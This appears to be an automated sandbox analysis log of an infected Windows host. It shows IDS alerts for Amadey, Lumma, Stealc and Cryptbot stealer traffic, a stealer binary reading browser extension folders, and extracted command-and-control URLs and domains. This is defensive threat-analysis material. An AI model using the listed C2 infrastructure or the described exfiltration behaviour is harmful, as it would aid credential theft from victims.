Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50221 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50277 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: ba324316e4.exe, 00000012.00000002.3525210722.000000006CE4D000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: nss3.pdb@ source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: nss3.pdb source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: mozglue.pdb source: ba324316e4.exe, 00000012.00000002.3525210722.000000006CE4D000.00000002.00000001.01000000.0000001B.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 194MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.6:58251 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49865
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49894 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49887 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49890 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49901 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49910 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49919 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49913 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49926 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49932 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49933 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49954 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49955 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49911
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49911
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49963 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49983 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50033 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50050 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:52923 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:52923 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.6:53279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.6:53279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.6:60088 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.6:60088 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.6:53330 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.6:53330 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.6:62652 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.6:62652 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.6:54405 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.6:54405 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50057 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.6:63256 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.6:63256 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:50193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:50193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50062 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50072 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50075 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50081 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50098 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50116 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50120 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50121 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50123 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50077 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.6:50125 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50127 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50153 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50145 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50158 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50156 -> 138.124.34.218:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50200
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50173 -> 138.124.34.218:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50215 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50221 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50216 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50224 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50225 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50217 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50222 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50160 -> 138.124.34.218:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50228 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50226 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50233 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50229 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50227 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50232 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50236 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50220 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50202 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50230 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50204 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50203 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50214 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50239 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50268 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50275 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50290 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50287 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50296 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50297 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50293 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50289 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50301 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50299 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50294 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50307 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50387 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50436
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:50286 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50439 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49894 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49894 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49926 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49887 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49887 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50204 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50204 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50202 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50063 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50202 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50072 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50225 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50062 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50062 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50057 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49932 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49932 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50057 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50232 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50116 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50121 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50224 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50224 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50221 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50221 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50268 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50286 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50287 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50287 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50286 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50293 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50299 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49963 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50301 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
